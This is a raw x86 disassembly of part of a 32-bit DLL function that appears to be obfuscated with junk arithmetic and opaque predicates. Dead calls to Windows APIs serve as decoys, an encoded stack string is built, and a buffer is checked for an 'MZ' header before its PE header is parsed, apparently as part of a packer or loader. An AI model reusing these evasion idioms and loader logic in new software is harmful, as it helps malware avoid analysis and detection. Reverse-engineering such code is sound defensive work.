mov dword [ebp - 0x77c], 1
jmp 0x10033725
and dword [ebp - 0x77c], 0
cmp dword [ebp - 0x77c], 0x9bd1
jne 0x1003373d
mov dword [ebp - 0x5ac], 1
jmp 0x10033744
and dword [ebp - 0x5ac], 0
cmp dword [ebp - 0x5ac], 0x7268f57f
jg 0x1003376e
push 0
lea ecx, [ebp - 0x388]
call fcn.100208d0
cmp dword [eax], 0
je 0x1003376e
mov dword [ebp - 0x920], 1
jmp 0x10033775
and dword [ebp - 0x920], 0
cmp dword [ebp - 0x920], 0x79d6
jl 0x1003378d
mov dword [ebp - 0x5b4], 1
jmp 0x10033794
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0x364], eax
imul eax, dword [ebp - 0x5b4], 0xb4b1
mov ecx, dword [ebp - 0x364]
imul ecx, eax
cmp ecx, 0xfffffff9
jl 0x100337c4
mov dword [ebp - 0x5bc], 1
jmp 0x100337cb
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0x784]
cmp eax, dword [ebp - 0x5bc]
jle 0x100337e5
mov dword [ebp - 0xa80], 1
jmp 0x100337ec
and dword [ebp - 0xa80], 0
mov eax, dword [ebp - 0x86c]
mov dword [ebp - 0xe68], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xeac]
mov dword [ebp - 0x86c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x388]
call fcn.100208b4
and dword [ebp - 0x29c], 0
jmp 0x1003382f
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0xe
jae 0x10033b31
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x874], 0xc75daa08
mov dword [ebp - 0x2f0], 0
jmp 0x10033866
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 3
jge 0x10033882
mov eax, dword [ebp - 0x2f0]
mov dword [ebp + eax*4 - 0x3d0], 0xfffffffd
jmp 0x10033859
mov dword [ebp - 0x3c], 0
jmp 0x10033892
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jg 0x10033b00
mov dword [ebp - 0x17c], 0xfffffffc
mov dword [ebp - 0xacc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3d0]
mov dword [ebp - 0xe7c], eax
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x3c]
je 0x100338e5
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3d0], 0
je 0x100338e5
mov dword [ebp - 0xb68], 1
jmp 0x100338ec
and dword [ebp - 0xb68], 0
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0xe84], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp + eax - 0x3d0]
jg 0x10033916
mov dword [ebp - 0x5c4], 1
jmp 0x1003391d
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x17c]
cmp dword [ebp - 0x5c4], eax
jge 0x10033937
mov dword [ebp - 0x78c], 1
jmp 0x1003393e
and dword [ebp - 0x78c], 0
mov eax, dword [ebp - 0x17c]
cmp eax, dword [ebp - 0x78c]
jge 0x10033958
mov dword [ebp - 0x5cc], 1
jmp 0x1003395f
and dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x5cc], eax
je 0x10033976
mov dword [ebp - 0x8e8], 1
jmp 0x1003397d
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x8e8], eax
jle 0x10033994
mov dword [ebp - 0x5d4], 1
jmp 0x1003399b
and dword [ebp - 0x5d4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3d0]
cmp dword [ebp - 0x5d4], eax
jl 0x100339bb
mov dword [ebp - 0x794], 1
jmp 0x100339c2
and dword [ebp - 0x794], 0
cmp dword [ebp - 0x794], 0xa60813c2
jb 0x100339e3
cmp dword [ebp - 0x17c], 0
je 0x100339e3
mov dword [ebp - 0x5dc], 1
jmp 0x100339ea
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x5dc]
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x874]
imul ecx, dword [ebp + eax*4 - 0x3d0]
cmp ecx, 0xfffd
jne 0x10033a1b
mov dword [ebp - 0x5e4], 1
jmp 0x10033a22
and dword [ebp - 0x5e4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3d0]
cmp eax, dword [ebp - 0x5e4]
jg 0x10033a4b
mov eax, 0xffff
test eax, eax
je 0x10033a4b
mov dword [ebp - 0x79c], 1
jmp 0x10033a52
and dword [ebp - 0x79c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3d0]
cmp dword [ebp - 0x79c], eax
jne 0x10033a72
mov dword [ebp - 0xa1c], 1
jmp 0x10033a79
and dword [ebp - 0xa1c], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xe8c], eax
cmp dword [ebp - 0xacc], 0
jne 0x10033aa1
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x3d0], 0
jne 0x10033aa1
and dword [ebp - 0x5ec], 0
jmp 0x10033aab
mov dword [ebp - 0x5ec], 1
mov eax, dword [ebp - 0x17c]
cmp dword [ebp - 0x5ec], eax
jg 0x10033ac5
mov dword [ebp - 0x910], 1
jmp 0x10033acc
and dword [ebp - 0x910], 0
cmp dword [ebp - 0x910], 0x6454
jl 0x10033ae4
mov dword [ebp - 0x5f4], 1
jmp 0x10033aeb
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x5f4]
mov dword [ebp + eax*4 - 0x3d0], ecx
jmp 0x1003388b
mov byte [ebp - 0xe9], 0
movzx eax, byte [ebp - 0xe9]
test eax, eax
je 0x10033b1e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov eax, dword [ebp - 0x29c]
mov byte [ebp + eax - 0xb8c], 0
jmp 0x10033822
mov dword [ebp - 0xf74], 0xa5d6c05b
mov dword [ebp - 0xf70], 0xa5d6c05b
mov dword [ebp - 0xf6c], 0xa5d6c05b
mov dword [ebp - 0xf68], 0xa5d6c05b
mov dword [ebp - 0x24c], 8
mov dword [ebp - 0x24c], 0
jmp 0x10033b7c
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jg 0x10033bb0
mov byte [ebp - 0xeb], 0
movzx eax, byte [ebp - 0xeb]
test eax, eax
je 0x10033bae
push 0
push 0x1659
push 0x1860
push 0x2177
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
jmp 0x10033b6f
mov byte [ebp - 0xed], 0
movzx eax, byte [ebp - 0xed]
test eax, eax
je 0x10033bc8
call dword [sym.imp.USER32.dll_CreateMenu]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0xb4c], 0x9989d221
mov dword [ebp - 0x104], 0
jmp 0x10033bf5
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0xb
jl 0x10033c97
mov dword [ebp - 0x2dc], 0xef20fe6e
mov dword [ebp - 0x2dc], 0xffffffec
jmp 0x10033c25
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0xffffffee
jl 0x10033c5e
mov byte [ebp - 0xef], 0
movzx eax, byte [ebp - 0xef]
test eax, eax
je 0x10033c5c
push 0x14a6
push 0
push 0x1d4f
push 0x1d3e
push 0x14bc
call dword [sym.imp.GDI32.dll_ExtFloodFill]
jmp 0x10033c18
cmp dword [ebp - 0x104], 0
jne 0x10033c73
mov dword [ebp - 0xa24], 1
jmp 0x10033c7a
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0xef8], eax
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0xb4c], eax
jmp 0x10033be8
push 2
lea ecx, [ebp - 0x988]
call fcn.10020852
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x254], 0
jmp 0x10033cc4
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 2
jge 0x10033ce6
push dword [ebp - 0x254]
lea ecx, [ebp - 0x988]
call fcn.100208d0
mov dword [eax], 0x9b3198a8
jmp 0x10033cb7
push 0
lea ecx, [ebp - 0x988]
call fcn.100208d0
mov dword [eax], 0xa
jmp 0x10033d1f
push 0
lea ecx, [ebp - 0x988]
call fcn.100208d0
mov dword [ebp - 0x7a4], eax
mov eax, dword [ebp - 0x7a4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x7a4]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x988]
call fcn.100208d0
cmp dword [eax], 0xe
jle 0x10033d61
mov byte [ebp - 0xf1], 0
movzx eax, byte [ebp - 0xf1]
test eax, eax
je 0x10033d4b
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
lea ecx, [ebp - 0x988]
call fcn.100208d0
cmp dword [eax], 0
je 0x10033d5f
jmp 0x10033d61
jmp 0x10033cfb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x988]
call fcn.100208b4
mov byte [ebp - 0x1c4], 9
mov byte [ebp - 0x1c3], 0xd5
mov byte [ebp - 0x1c2], 8
mov byte [ebp - 0x1c1], 0xc
mov byte [ebp - 0x1c0], 0xb
mov byte [ebp - 0x1bf], 0x1c
mov byte [ebp - 0x1be], 0xd
mov byte [ebp - 0x1bd], 0x24
mov byte [ebp - 0x1bc], 0xc
mov byte [ebp - 0x1bb], 0x24
mov byte [ebp - 0x1ba], 7
mov byte [ebp - 0x1b9], 1
mov byte [ebp - 0x1b8], 4
mov byte [ebp - 0x1b7], 6
mov byte [ebp - 0x1b6], 6
mov byte [ebp - 0x1b5], 0x24
mov byte [ebp - 0x1b4], 5
mov byte [ebp - 0x1b3], 0x35
mov byte [ebp - 0x1b2], 0
mov byte [ebp - 0x1b1], 0x26
mov byte [ebp - 0x1b0], 2
mov byte [ebp - 0x1af], 0x26
mov byte [ebp - 0x1ae], 3
mov byte [ebp - 0x1ad], 4
mov byte [ebp - 0x1ac], 0xa
mov byte [ebp - 0x1ab], 4
mov byte [ebp - 0x1aa], 1
mov byte [ebp - 0x1a9], 0x17
mov dword [ebp - 0xb4], 1
mov dword [ebp - 0x398], 0xe864896
mov dword [ebp - 0x180], 0x35b263d1
mov dword [ebp - 0x36c], 0xd2038e85
push 2
lea ecx, [ebp - 0x934]
call fcn.10020852
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x324], 1
mov dword [ebp - 0x2a4], 0
jmp 0x10033e93
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 2
jge 0x10033eb5
push dword [ebp - 0x2a4]
lea ecx, [ebp - 0x934]
call fcn.100208d0
mov dword [eax], 0xaf7f3e76
jmp 0x10033e86
mov dword [ebp - 0xb4], 8
jmp 0x10033ece
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0x10
jle 0x10033ee4
cmp dword [ebp - 0xb4], 0
je 0x10033ee2
jmp 0x10033ee4
jmp 0x10033ec1
push 0
lea ecx, [ebp - 0x934]
call fcn.100208d0
mov esi, eax
push 0
lea ecx, [ebp - 0x934]
call fcn.100208d0
mov eax, dword [eax]
cmp eax, dword [esi]
jg 0x10033f12
mov dword [ebp - 0x7ac], 1
jmp 0x10033f19
and dword [ebp - 0x7ac], 0
cmp dword [ebp - 0x180], 0
ja 0x10033f2e
mov dword [ebp - 0x5fc], 1
jmp 0x10033f35
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0x398]
cmp dword [ebp - 0x5fc], eax
jg 0x10033f4f
mov dword [ebp - 0x87c], 1
jmp 0x10033f56
and dword [ebp - 0x87c], 0
push 0
lea ecx, [ebp - 0x934]
call fcn.100208d0
mov ecx, dword [ebp - 0x87c]
cmp ecx, dword [eax]
jl 0x10033f88
push 0
lea ecx, [ebp - 0x934]
call fcn.100208d0
cmp dword [eax], 0
jne 0x10033f88
and dword [ebp - 0x604], 0
jmp 0x10033f92
mov dword [ebp - 0x604], 1
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x604], eax
jl 0x10033fac
mov dword [ebp - 0x60c], 1
jmp 0x10033fb3
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x7ac]
cmp eax, dword [ebp - 0x60c]
jne 0x10033fcd
mov dword [ebp - 0x8f0], 1
jmp 0x10033fd4
and dword [ebp - 0x8f0], 0
mov eax, dword [ebp - 0x324]
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0x8f0]
mov dword [ebp - 0xad4], eax
mov eax, dword [ebp - 0x324]
dec eax
mov dword [ebp - 0x324], eax
mov eax, dword [ebp - 0xa2c]
cmp eax, dword [ebp - 0xad4]
je 0x10034013
mov dword [ebp - 0x614], 1
jmp 0x1003401a
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0x36c], eax
mov esi, dword [ebp - 0x36c]
push 0
lea ecx, [ebp - 0x934]
call fcn.100208d0
cmp esi, dword [eax]
jle 0x10034049
mov dword [ebp - 0x10c], 0xfffffffb
mov dword [ebp - 0x164], 0xfffffffd
mov dword [ebp - 0x634], 0xe703026d
mov dword [ebp - 0x274], 0xec326874
mov dword [ebp - 0x114], 0x8ef068cd
mov dword [ebp - 0x168], 0x56a0b349
mov dword [ebp - 0xadc], 1
mov dword [ebp - 0x2ec], 0
jmp 0x100345ff
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 2
jge 0x1003461b
mov eax, dword [ebp - 0x2ec]
mov dword [ebp + eax*4 - 0xc54], 0xfff9
jmp 0x100345f2
cmp dword [ebp - 0x10c], 0xd714f98c
je 0x10034633
mov dword [ebp - 0x7c4], 1
jmp 0x1003463a
and dword [ebp - 0x7c4], 0
mov dword [ebp - 0x164], 0x83989226
mov eax, dword [ebp - 0x164]
sub eax, dword [ebp - 0x10c]
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x634]
cmp eax, dword [ebp - 0x7c4]
jge 0x10034670
mov dword [ebp - 0x63c], 1
jmp 0x10034677
and dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x63c], eax
jg 0x10034691
mov dword [ebp - 0x88c], 1
jmp 0x10034698
and dword [ebp - 0x88c], 0
cmp dword [ebp - 0x88c], 0xa22db785
ja 0x100346b0
mov dword [ebp - 0x644], 1
jmp 0x100346b7
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x644]
mov dword [ebp - 0x274], eax
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x274]
add eax, dword [ebp - 0x10c]
imul eax, eax, 0xfffffffa
cmp dword [ebp - 0x10c], eax
jg 0x100346f1
xor eax, eax
inc eax
je 0x100346f1
mov dword [ebp - 0x7cc], 1
jmp 0x100346f8
and dword [ebp - 0x7cc], 0
cmp dword [ebp - 0x7cc], 0x2542
jle 0x10034710
mov dword [ebp - 0x64c], 1
jmp 0x10034717
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x64c]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x114], 0x18
jmp 0x10034748
mov eax, dword [ebp - 0x114]
dec eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 4
jle 0x10034aa2
mov dword [ebp - 0x33c], 0x9a31c0a9
mov dword [ebp - 0x194], 0xe2caeaba
mov dword [ebp - 0x65c], 0x1adf890b
mov dword [ebp - 0x7e4], 0
mov dword [ebp - 0xa4c], 0xe00c2553
mov eax, dword [ebp - 0x33c]
sub eax, dword [ebp - 0x168]
jne 0x1003479e
cmp dword [ebp - 0x10c], 0
jl 0x100347c8
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0xf28], eax
cmp dword [ebp - 0xadc], 0
je 0x100347c8
mov eax, 0x96121589
test eax, eax
je 0x100347c8
mov dword [ebp - 0x8f8], 1
jmp 0x100347cf
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0x168]
cmp dword [ebp - 0x8f8], eax
jg 0x100347e9
mov dword [ebp - 0x654], 1
jmp 0x100347f0
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x194]
cmp dword [ebp - 0x654], eax
jg 0x1003480a
mov dword [ebp - 0x7d4], 1
jmp 0x10034811
and dword [ebp - 0x7d4], 0
mov eax, dword [ebp - 0x65c]
add eax, dword [ebp - 0x7d4]
cmp eax, dword [ebp - 0x274]
jg 0x10034831
mov dword [ebp - 0xa44], 1
jmp 0x10034838
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0xf30], eax
mov eax, dword [ebp - 0x168]
cmp eax, dword [ebp - 0x65c]
jge 0x1003491a
mov dword [ebp - 0xb78], 0xfffffffb
mov byte [ebp - 0x128], 0
movzx eax, byte [ebp - 0x128]
test eax, eax
je 0x10034882
push 0x16ef
push 0x1745
call dword [sym.imp.USER32.dll_GetDlgItem]
xor eax, eax
inc eax
je 0x1003489c
cmp dword [ebp - 0x164], 0
je 0x1003489c
mov dword [ebp - 0x7dc], 1
jmp 0x100348a3
and dword [ebp - 0x7dc], 0
cmp dword [ebp - 0xb78], 0
jge 0x100348b8
mov dword [ebp - 0x894], 1
jmp 0x100348bf
and dword [ebp - 0x894], 0
cmp dword [ebp - 0x894], 0xb48fe2d5
jae 0x100348dc
or eax, 0xffffffff
je 0x100348dc
mov dword [ebp - 0x664], 1
jmp 0x100348e3
and dword [ebp - 0x664], 0
mov eax, dword [ebp - 0x664]
add eax, 0x101e
cmp dword [ebp - 0x7dc], eax
jne 0x10034902
mov dword [ebp - 0x66c], 1
jmp 0x10034909
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x66c]
mov dword [ebp - 0x274], eax
jmp 0x10034a9d
mov dword [ebp - 0x2b4], 0xdb075aba
cmp dword [ebp - 0x7e4], 0
je 0x1003497a
mov dword [ebp - 0xae4], 0x6047311e
mov dword [ebp - 0x194], 7
jmp 0x10034950
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0xa
jl 0x10034967
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0xa4c], eax
jmp 0x10034943
cmp dword [ebp - 0xae4], 0
je 0x10034975
jmp 0x10034aa2
jmp 0x10034a9d
mov dword [ebp - 0x89c], 8
mov dword [ebp - 0x3a0], 0x93506f8a
mov dword [ebp - 0x3a0], 1
mov eax, dword [ebp - 0x3a0]
mov dword [ebp - 0xf38], eax
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0xf40], eax
mov eax, 0xb7df
test eax, eax
jne 0x100349cb
cmp dword [ebp - 0x3a0], 0
jne 0x100349cb
and dword [ebp - 0x918], 0
jmp 0x100349d5
mov dword [ebp - 0x918], 1
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x918], eax
jne 0x100349ef
mov dword [ebp - 0x674], 1
jmp 0x100349f6
and dword [ebp - 0x674], 0
mov eax, dword [ebp - 0x674]
sub eax, dword [ebp - 0x33c]
cmp eax, dword [ebp - 0x7e4]
jne 0x10034a16
mov dword [ebp - 0x67c], 1
jmp 0x10034a1d
and dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x67c], eax
jle 0x10034a37
mov dword [ebp - 0xa54], 1
jmp 0x10034a3e
and dword [ebp - 0xa54], 0
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0xf48], eax
cmp dword [ebp - 0x2b4], 2
ja 0x10034a5f
mov dword [ebp - 0x684], 1
jmp 0x10034a66
and dword [ebp - 0x684], 0
imul eax, dword [ebp - 0x684], 0x15cd
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc54]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xc54], eax
jmp 0x1003473b
mov eax, dword [0x10611714]
cmp eax, dword [ebp - 0x1f8]
je 0x10034abc
mov eax, dword [0x106117ac]
cmp eax, dword [ebp - 0x1f8]
jne 0x10034ad4
mov ecx, dword [ebp + 0xc]
call fcn.10020483
push eax
push dword [ebp + 8]
call fcn.1002bc44
pop ecx
pop ecx
jmp 0x100386ee
mov dword [ebp - 0x80], 0xc7dcd66a
push 3
lea ecx, [ebp - 0x970]
call fcn.10020852
mov dword [ebp - 4], 0x12
push 3
lea ecx, [ebp - 0xcec]
call fcn.10020852
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x24], 0
jmp 0x10034b10
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10034b2c
push dword [ebp - 0x24]
lea ecx, [ebp - 0x970]
call fcn.100208d0
mov dword [eax], 0x20d70069
jmp 0x10034b09
mov dword [ebp - 0x24], 0
jmp 0x10034b3c
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10034b52
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xebc], 5
jmp 0x10034b35
mov dword [ebp - 0x24], 0
jmp 0x10034b62
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10034b7e
push dword [ebp - 0x24]
lea ecx, [ebp - 0xcec]
call fcn.100208d0
mov dword [eax], 0xfffffffb
jmp 0x10034b5b
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xf50], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x7ec], eax
push 1
lea ecx, [ebp - 0x970]
call fcn.100208d0
mov ecx, dword [ebp - 0x7ec]
mov dword [eax], ecx
mov esi, dword [ebp - 0x80]
push 0
lea ecx, [ebp - 0x970]
call fcn.100208d0
cmp dword [eax], esi
jl 0x10034bc5
mov dword [ebp - 0x68c], 1
jmp 0x10034bcc
and dword [ebp - 0x68c], 0
cmp dword [ebp - 0x68c], 1
ja 0x10034be1
mov dword [ebp - 0x8c8], 1
jmp 0x10034be8
and dword [ebp - 0x8c8], 0
cmp dword [ebp - 0x8c8], 0x2a4b15d3
jge 0x10034c00
mov dword [ebp - 0x694], 1
jmp 0x10034c07
and dword [ebp - 0x694], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xebc]
cmp dword [ebp - 0x694], eax
jge 0x10034c27
mov dword [ebp - 0x7f4], 1
jmp 0x10034c2e
and dword [ebp - 0x7f4], 0
cmp dword [ebp - 0x7f4], 0x7ba3
jle 0x10034c46
mov dword [ebp - 0x69c], 1
jmp 0x10034c4d
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x69c]
sub eax, dword [ebp - 0x80]
je 0x10034c69
or eax, 0xffffffff
je 0x10034c69
mov dword [ebp - 0x8a4], 1
jmp 0x10034c70
and dword [ebp - 0x8a4], 0
cmp dword [ebp - 0x8a4], 4
jae 0x10034c85
mov dword [ebp - 0x6a4], 1
jmp 0x10034c8c
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x6a4]
mov dword [ebp - 0xb54], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xb54]
mov dword [ebp + eax - 0xebc], ecx
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xf58], eax
mov esi, dword [ebp - 0x80]
push 1
lea ecx, [ebp - 0x970]
call fcn.100208d0
add esi, dword [eax]
jne 0x10034cf4
push 1
lea ecx, [ebp - 0x970]
call fcn.100208d0
cmp dword [eax], 0
jne 0x10034cf4
cmp dword [ebp - 0x80], 0
jne 0x10034cf4
mov eax, 0xfffc
test eax, eax
jne 0x10034cf4
and dword [ebp - 0x7fc], 0
jmp 0x10034cfe
mov dword [ebp - 0x7fc], 1
mov eax, dword [ebp - 0x7fc]
add eax, 0xa2e
cmp eax, dword [ebp - 0x80]
je 0x10034d1a
mov dword [ebp - 0x6ac], 1
jmp 0x10034d21
and dword [ebp - 0x6ac], 0
cmp dword [ebp - 0x6ac], 0xcd45
je 0x10034d39
mov dword [ebp - 0x8cc], 1
jmp 0x10034d40
and dword [ebp - 0x8cc], 0
push 1
lea ecx, [ebp - 0xcec]
call fcn.100208d0
mov ecx, dword [ebp - 0x8cc]
mov dword [eax], ecx
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcec]
call fcn.100208b4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x970]
call fcn.100208b4
mov eax, dword [ebp + 8]
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0
je 0x1003862d
mov eax, dword [ebp - 0x284]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1003862d
mov dword [ebp - 0x170], 7
mov dword [ebp - 0x58], 0xfa51669
mov dword [ebp - 0x2d4], 0x401d1b98
mov dword [ebp - 0x8ac], 0xafe44fa3
mov dword [ebp - 0x6cc], 0xe289aa50
mov dword [ebp - 0x460], 0xe2499e68
mov dword [ebp - 0x27c], 0
jmp 0x10034def
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 2
jge 0x10034e0b
mov eax, dword [ebp - 0x27c]
mov dword [ebp + eax*4 - 0x8b4], 0x261718bc
jmp 0x10034de2
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xf60], eax
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xf90], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xf98], eax
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x170]
jne 0x10034e45
or eax, 0xffffffff
jne 0x10034e45
and dword [ebp - 0x6b4], 0
jmp 0x10034e4f
mov dword [ebp - 0x6b4], 1
mov eax, dword [ebp - 0x6b4]
sub eax, dword [ebp - 0x170]
imul eax, dword [ebp - 0x2d4]
cmp eax, 0xb76e
jg 0x10034e75
mov dword [ebp - 0x804], 1
jmp 0x10034e7c
and dword [ebp - 0x804], 0
mov eax, dword [ebp - 0x804]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x2d4], eax
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0
je 0x10034ecc
mov eax, 0xfff9
test eax, eax
je 0x10034ebc
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8b4], 0
jne 0x10034ee5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8b4], 0
jne 0x10034ee5
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x8b4], 0
jne 0x10034ee5
and dword [ebp - 0x6bc], 0
jmp 0x10034eef
mov dword [ebp - 0x6bc], 1
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x8ac], eax
cmp dword [ebp - 0x8ac], 0
jne 0x10034f10
mov dword [ebp - 0x6c4], 1
jmp 0x10034f17
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x6c4], eax
je 0x10034f2e
mov dword [ebp - 0x80c], 1
jmp 0x10034f35
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x80c]
mov dword [ebp - 0x6cc], eax
mov eax, dword [ebp - 0x6cc]
cmp eax, dword [ebp - 0x58]
je 0x10034f58
mov dword [ebp - 0x8d4], 1
jmp 0x10034f5f
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0x58]
sub eax, 0x66177a24
cmp eax, dword [ebp - 0x8d4]
jne 0x10034f7b
mov dword [ebp - 0x6d4], 1
jmp 0x10034f82
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x6d4]
jg 0x10034f99
mov dword [ebp - 0x814], 1
jmp 0x10034fa0
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x814]
mov dword [ebp - 0x460], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x460]
imul edx, dword [ebp + ecx - 0x8b4]
imul edx, dword [ebp - 0x58]
cmp edx, dword [ebp + eax - 0x8b4]
jl 0x10034fdf
mov dword [ebp - 0x3d4], 1
jmp 0x10034fe6
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x284]
mov ecx, dword [ebp - 0x284]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x18c], ecx
push 2
lea ecx, [ebp - 0xd1c]
call fcn.10020852
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x90], 0
jmp 0x10035031
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jge 0x10035053
push dword [ebp - 0x90]
lea ecx, [ebp - 0xd1c]
call fcn.100208d0
mov dword [eax], 2
jmp 0x10035024
mov dword [ebp - 0x90], 0
jmp 0x1003506c
mov eax, dword [ebp - 0x90]
inc eax
